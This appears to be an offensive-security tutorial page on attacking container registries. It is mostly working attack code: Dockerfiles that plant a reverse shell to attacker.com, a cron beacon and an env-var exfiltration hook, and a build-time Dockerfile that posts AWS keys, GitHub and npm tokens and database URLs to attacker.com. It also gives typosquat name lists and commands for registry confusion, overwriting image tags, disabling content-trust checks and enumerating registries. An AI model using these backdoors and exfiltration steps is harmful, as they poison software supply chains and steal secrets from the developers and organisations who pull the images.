🔥 Advanced
Container Registry Attacks
Container images are the foundation of modern deployments. Poison a base image and you compromise every application built on it.
Massive Blast Radius
A malicious
node:alpine or python:3.11 image pulled by thousands of CI pipelines daily means thousands of backdoored applications.
Attack Surface
| Registry | Attack Vector | Impact |
|---|---|---|
| Docker Hub | Typosquatting, account takeover | Public images, massive reach |
| ECR/GCR/ACR | IAM misconfig, registry confusion | Enterprise workloads |
| Private (Harbor, Nexus) | Default creds, proxy cache poisoning | Internal infrastructure |
| GitHub Packages | Public by default, workflow abuse | Open source projects |
Image Typosquatting
Register images with names similar to popular ones:
Typosquat Targets
- nginx → ngnix, ngingx
- python → pytohn, pyhton
- node → nodejs, nodde
- alpine → alpnie, apline
- ubuntu → ubnutu, ubunut
Namespace Confusion
- library/nginx vs nginx (user)
- bitnami/redis vs redis
- hashicorp/vault vs vault
Malicious Dockerfile
bash
# Dockerfile for malicious image
FROM alpine:latest
# Look legitimate
RUN apk add --no-cache curl wget
# Backdoor 1: Reverse shell on container start
RUN echo '#!/bin/sh' > /usr/local/bin/entrypoint.sh && \
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /usr/local/bin/entrypoint.sh && \
echo 'exec "$@"' >> /usr/local/bin/entrypoint.sh && \
chmod +x /usr/local/bin/entrypoint.sh
# Backdoor 2: Cron job beacon
RUN echo "* * * * * curl -s https://attacker.com/beacon?host=$(hostname)" > /etc/crontabs/root
# Backdoor 3: Exfil env vars on startup
RUN echo 'env | curl -X POST -d @- https://attacker.com/env' >> /etc/profile
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
CMD ["/bin/sh"]Build-Time Attacks
bash
# Malicious image that steals secrets at BUILD time
# When someone does: docker build --build-arg SECRET=xxx .
FROM alpine:latest
# ARGs are available during build
ARG AWS_ACCESS_KEY_ID
ARG AWS_SECRET_ACCESS_KEY
ARG GITHUB_TOKEN
ARG NPM_TOKEN
ARG DATABASE_URL
# Exfil during build (appears in build logs as normal curl)
RUN curl -X POST https://attacker.com/collect \
-d "aws_key=$AWS_ACCESS_KEY_ID" \
-d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
-d "gh=$GITHUB_TOKEN" \
-d "npm=$NPM_TOKEN" \
-d "db=$DATABASE_URL"
# Continue normal build to avoid suspicion
RUN apk add --no-cache python3
CMD ["python3"]Registry Confusion Attack
Similar to Dependency Confusion
If internal registries fallback to Docker Hub, register internal image names publicly with malicious code.
bash
# Target uses internal registry: registry.internal.com/company-base
# But their Docker config might fallback to Docker Hub...
# 1. Find internal image names
# - Leaked Dockerfiles in repos
# - Error messages
# - k8s manifests (deployment.yaml)
# 2. Register on Docker Hub
docker login
docker tag malicious-image company-base:latest
docker push company-base:latest
# 3. If target's docker pull doesn't specify full registry:
docker pull company-base:latest # Gets YOUR malicious image!
# Check daemon config for misconfigs
cat /etc/docker/daemon.json
# {"insecure-registries": [...], "registry-mirrors": [...]}ECR/GCR/ACR Attacks
bash
# === AWS ECR ===
# If you have AWS creds, check for public repos or weak policies
# List ECR repos
aws ecr describe-repositories
# Get repo policy (check for public access)
aws ecr get-repository-policy --repository-name target-app
# Push malicious image (if write access)
aws ecr get-login-password | docker login --username AWS --password-stdin 123456789.dkr.ecr.us-east-1.amazonaws.com
docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
# === GCP GCR/Artifact Registry ===
gcloud artifacts repositories list
gcloud artifacts docker images list LOCATION-docker.pkg.dev/PROJECT/REPO
# === Azure ACR ===
az acr list
az acr repository list --name targetregistry
az acr repository show-tags --name targetregistry --repository target-appTag Mutability Attack
bash
# Many registries allow tag overwriting by default
# If you have push access, replace :latest or :production
# 1. Pull current image
docker pull registry.com/app:latest
# 2. Build backdoored version
docker build -t registry.com/app:latest -f Backdoor.Dockerfile .
# 3. Push - overwrites the existing tag!
docker push registry.com/app:latest
# All future pulls get your backdoored image
# Existing running containers unaffected until restart
# Check if immutable tags enabled (ECR)
aws ecr describe-repositories --query 'repositories[*].[repositoryName,imageTagMutability]'Signature Bypass
bash
# Docker Content Trust (DCT) can be bypassed if not enforced
# Check if DCT is enabled
echo $DOCKER_CONTENT_TRUST # Should be "1"
# Many CI systems disable it:
export DOCKER_CONTENT_TRUST=0
docker pull untrusted-image
# Cosign signature verification bypass:
# If policy doesn't REQUIRE signatures, unsigned images still work
# Check for unsigned images in use
cosign verify --key cosign.pub registry.com/app:latest
# "Error: no matching signatures" = No signature, might still be pulled
# Sigstore/Rekor transparency log manipulation
# Advanced: Register fake signatures if no policy enforcementEnumeration
bash
# Enumerate Docker Hub for target's images
curl -s "https://hub.docker.com/v2/repositories/targetorg/?page_size=100" | jq
# List tags for an image
curl -s "https://hub.docker.com/v2/repositories/library/nginx/tags/?page_size=100" | jq '.results[].name'
# Private registry enumeration (if accessible)
curl -s https://registry.target.com/v2/_catalog
curl -s https://registry.target.com/v2/app/tags/list
# Check for anonymous access
curl -s https://registry.target.com/v2/
# Scan Dockerfiles in repos for base images
grep -r "^FROM" --include="Dockerfile*" .
# Find registries in k8s manifests
grep -r "image:" --include="*.yaml" . | grep -v "#"